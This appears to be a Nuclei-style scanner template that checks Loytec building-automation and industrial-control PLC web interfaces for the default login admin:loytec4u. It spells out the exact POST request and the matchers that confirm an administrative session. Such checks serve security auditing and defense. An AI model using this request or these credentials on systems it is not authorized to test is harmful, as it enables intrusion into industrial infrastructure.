Identified Loytec PLC web interfaces that were accessible using default credentials (admin:loytec4u). These devices were commonly deployed in building automation and industrial control environments. When left unchanged, default credentials could have allowed unauthorized users to gain administrative access to the system.
PoC
id: loytec-default-password
info:
name: Loytec PLC - Default Login
author: biero-el-corridor
severity: high
description: |
Identified Loytec PLC web interfaces that were accessible using default credentials (admin:loytec4u). These devices were commonly deployed in building automation and industrial control environments. When left unchanged, default credentials could have allowed unauthorized users to gain administrative access to the system.
metadata:
verifed: true
max-request: 1
tags: loytec,default-login,vuln
variables:
username: admin
password: loytec4u
http:
- raw:
- |
POST /webui/login HTTP/1.1
Host: {{Hostname}}
X-Create-Session: 1
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&login=Login
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"sessUser":"admin"'
- '"loggedIn":true'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100c5d95a523c26fa85d9a074afd30340b4198cf32401240fce77135c87d14f309b02206fb0dd6139abb8b33044601c639e4ab3532f469684db96f3f60012f44a2cd1ca:922c64590222798bb761d5b6d8e72950
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